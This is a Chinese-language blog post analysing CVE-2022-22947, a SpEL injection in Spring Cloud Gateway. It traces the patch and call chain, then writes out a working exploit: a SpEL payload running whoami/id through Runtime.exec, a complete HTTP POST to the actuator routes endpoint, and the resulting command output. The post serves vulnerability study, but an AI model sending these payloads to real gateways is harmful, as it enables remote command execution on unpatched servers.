专业的编程技术博客社区

网站首页 > 博客文章 正文

CVE-2022-22947分析(cve-2020-0796分析)

baijin 2024-09-11 00:34:42 博客文章 8 ℃ 0 评论

[[spel inj|SPEL]] CASTING AND EVIL BEANS

Base

  • 漏洞环境:VulEnv/springboot/cve_2022_22947 at master · XuCcc/VulEnv

Source 分析

查看 v3.0.6->v3.0.7 的官方补丁 Comparing v3.0.6…v3.0.7 · spring-cloud/spring-cloud-gateway,官方在 ShortcutConfigurable#getValue 方法中将 StandardEvaluationContext 修正成了 GatewayEvaluationContext

static Object getValue(SpelExpressionParser parser, BeanFactory beanFactory, String entryValue) {

Object value;

String rawValue = entryValue;

if (rawValue != null) {

rawValue = rawValue.trim();

}

if (rawValue != null && rawValue.startsWith("#{") && entryValue.endsWith("}")) {

// assume it's spel

StandardEvaluationContext context = new StandardEvaluationContext();

context.setBeanResolver(new BeanFactoryResolver(beanFactory));

Expression expression = parser.parseExpression(entryValue, new TemplateParserContext());

value = expression.getValue(context);

}

向上回溯调用路径

  • org.springframework.cloud.gateway.support.ShortcutConfigurable.ShortcutType#DEFAULT
  • org.springframework.cloud.gateway.support.ShortcutConfigurable#shortcutType
  • org.springframework.cloud.gateway.support.ConfigurationService.ConfigurableBuilder#normalizeProperties
    跟踪
    properties
  • org.springframework.cloud.gateway.support.ConfigurationService.AbstractBuilder#properties
  • org.springframework.cloud.gateway.route.RouteDefinitionRouteLocator#loadGatewayFilters
  • org.springframework.cloud.gateway.route.RouteDefinitionRouteLocator#getFilters
  • org.springframework.cloud.gateway.route.RouteDefinitionRouteLocator#convertToRoute
  • org.springframework.cloud.gateway.route.RouteDefinitionRouteLocator#getRoutes
    至此,可以得出 gateway 在对 filters 进行转换解析时触发了 spel 注入

POC 编写

在关键位置打上断点后,运行 app 尝试进入漏洞点。翻阅下官方文档 Spring Cloud Gateway[^1] 看下如何定义一个简单的路由

spring:

cloud:

gateway:

routes:

- id: after_route

uri: https://example.org

predicates:

- name: Cookie

args:

name: mycookie

regexp: mycookievalue

debug 程序后,发现 mycookie 成功传入到了 org.springframework.cloud.gateway.support.ShortcutConfigurable#getValueentryValue 参数中

getValue:51, ShortcutConfigurable (org.springframework.cloud.gateway.support)

normalize:94, ShortcutConfigurable$ShortcutType$1 (org.springframework.cloud.gateway.support)

normalizeProperties:140, ConfigurationService$ConfigurableBuilder (org.springframework.cloud.gateway.support)

bind:241, ConfigurationService$AbstractBuilder (org.springframework.cloud.gateway.support)

lookup:216, RouteDefinitionRouteLocator (org.springframework.cloud.gateway.route)

combinePredicates:189, RouteDefinitionRouteLocator (org.springframework.cloud.gateway.route)

convertToRoute:116, RouteDefinitionRouteLocator (org.springframework.cloud.gateway.route)

apply:-1, 1605299030 (org.springframework.cloud.gateway.route.RouteDefinitionRouteLocator$Lambda$842)//.....

onApplicationEvent:81, CachingRouteLocator (org.springframework.cloud.gateway.route)

onApplicationEvent:40, CachingRouteLocator (org.springframework.cloud.gateway.route)//.....

main:33, Cve202222947Application (person.xu.vulEnv)

注入下 spel 表达式

“#{T(org.springframework.util.StreamUtils).copyToString(T(java.lang.Runtime).getRuntime().exec(‘whoami’).getInputStream(),T(java.nio.charset.StandardCharsets).UTF_8)}”

访问 http://127.0.0.1:8083/actuator/gateway/routes/ 发现成功执行了命令

EXP 编写

那如何通过远程触发呢?根据 Gateway Actuator API [^2] 文档,/gateway/routes/{id_route_to_create} 接口提供了创建路由的能力 其中 json 构造方式如文档中的

{

"id": "first_route",

"predicates": [{

"name": "Path",

"args": {"_genkey_0":"/first"}

}],

"filters": [],

"uri": "https://www.uri-destination.org",

"order": 0}

将其转换一下得到

{

"id": "first_route",

"predicates": [

{

"name": "Cookie",

"args": {

"_genkey_0": "#{T(java.lang.Runtime).getRuntime().exec('id')}",

"_genkey_1": "mycookievalue"

}

}

],

"filters": [],

"uri": "https://www.uri-destination.org",

"order": 0}

通过 POST 发送 exp

POST /actuator/gateway/routes/first_route HTTP/1.1

Host: 127.0.0.1:8083

Upgrade-Insecure-Requests: 1

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9

Accept-Encoding: gzip, deflate

Accept-Language: zh-CN,zh;q=0.9

Connection: close

Content-Type: application/json

Content-Length: 385

{

"id": "first_route",

"predicates": [{

"name": "Cookie",

"args": {"_genkey_0":"#{T(org.springframework.util.StreamUtils).copyToString(T(java.lang.Runtime).getRuntime().exec('whoami').getInputStream(),T(java.nio.charset.StandardCharsets).UTF_8)}",

"_genkey_1":"mycookievalue"}

}],

"filters": [],

"uri": "https://www.uri-destination.org",

"order": 0

}]

后通过 /actuator/gateway/refresh 刷新路由缓存 访问 /actuator/gateway/routes/ 得到命令执行的结果

[

{

"predicate": "Paths: [/get], match trailing slash: true",

"route_id": "path_route",

"filters": [],

"uri": "http://httpbin.org:80",

"order": 0

},//........

{

"predicate": "Cookie: name=china\\xuuupro\r\n regexp=mycookievalue",

"route_id": "first_route",

"filters": [],

"uri": "https://www.uri-destination.org",

"order": 0

}]

Reference

  • CVE-2022-22947: SpEL Casting and Evil Beans – Wya.pl

Footnote

[^1]: Spring Cloud Gateway
[^2]: 11. Actuator API

本文暂时没有评论,来添加一个吧(●'◡'●)

欢迎 发表评论:

最近发表
标签列表